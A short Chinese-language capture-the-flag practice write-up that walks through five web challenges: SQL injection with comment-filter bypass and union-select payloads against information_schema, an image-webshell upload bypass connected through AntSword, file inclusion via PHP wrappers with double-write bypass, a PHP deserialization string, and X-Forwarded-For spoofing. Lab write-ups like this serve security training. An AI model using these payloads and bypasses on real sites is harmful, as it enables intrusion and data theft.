练习题目一:SQL注入
开始做题:
分析该题,该题对--+、#等符号等进行过滤,因此需要采用其他方式进行绕过闭合,我主要是采用编码方式进行绕过闭合
因此在url中分别采用1' and ’1‘=’1%23方式进行闭合
判断数据列数,使用order by 进行判断
发现不管怎么测试,无法判断出来,因此采用union select查询来进行测试判断
因此判断出来一共是有6列,且显示位是在第二位,因此判断库名
开始查询表名:
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='2web'),3,4,5,6 and '1'='1%23
判断字段名:
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='IS_KEY'),3,4,5,6 and '1'='1%23
判断字段内容
union select 1,(select haha from IS_KEY),3,4,5,6 and '1'='1%23
找到key值
练习题目二:文件上传突破
随便上传一个php文件,发现题目需要上传图片
因此上传一张图片马,并采用bp继续宁抓包,修改后缀名进行绕过
显示图片上传成功,点击点我查看
发现是一串乱码,那就是上传成功,采用蚁剑进行连接
查询即可得到key值
练习题目三:文件包含
分析该题之后,主要采用伪协议进行查询
发现题目对php进行过滤,因此采用双写绕过方式进行绕过
经过尝试后,发现无法进行读取,因此采用另外一种伪协议进行读取
采用data伪协议进行读取,同时采用双写绕过方式进行读取
进行读取,即可得到key值
练习题目四:反序列化漏洞
对分析代码之后,采用反序列化方式进行查询
?str=s:44:"Whatever is worth doing is worth doing well.";
练习题目五:失效的访问控制
观看题目显示只可以进行允许本地访问
因此采用bp进行抓包,然后设置X-Forwarded-For: 127.0.0.1进行代理
放回即可显示下面界面
再次进行bp抓包
修改参数即可得到key值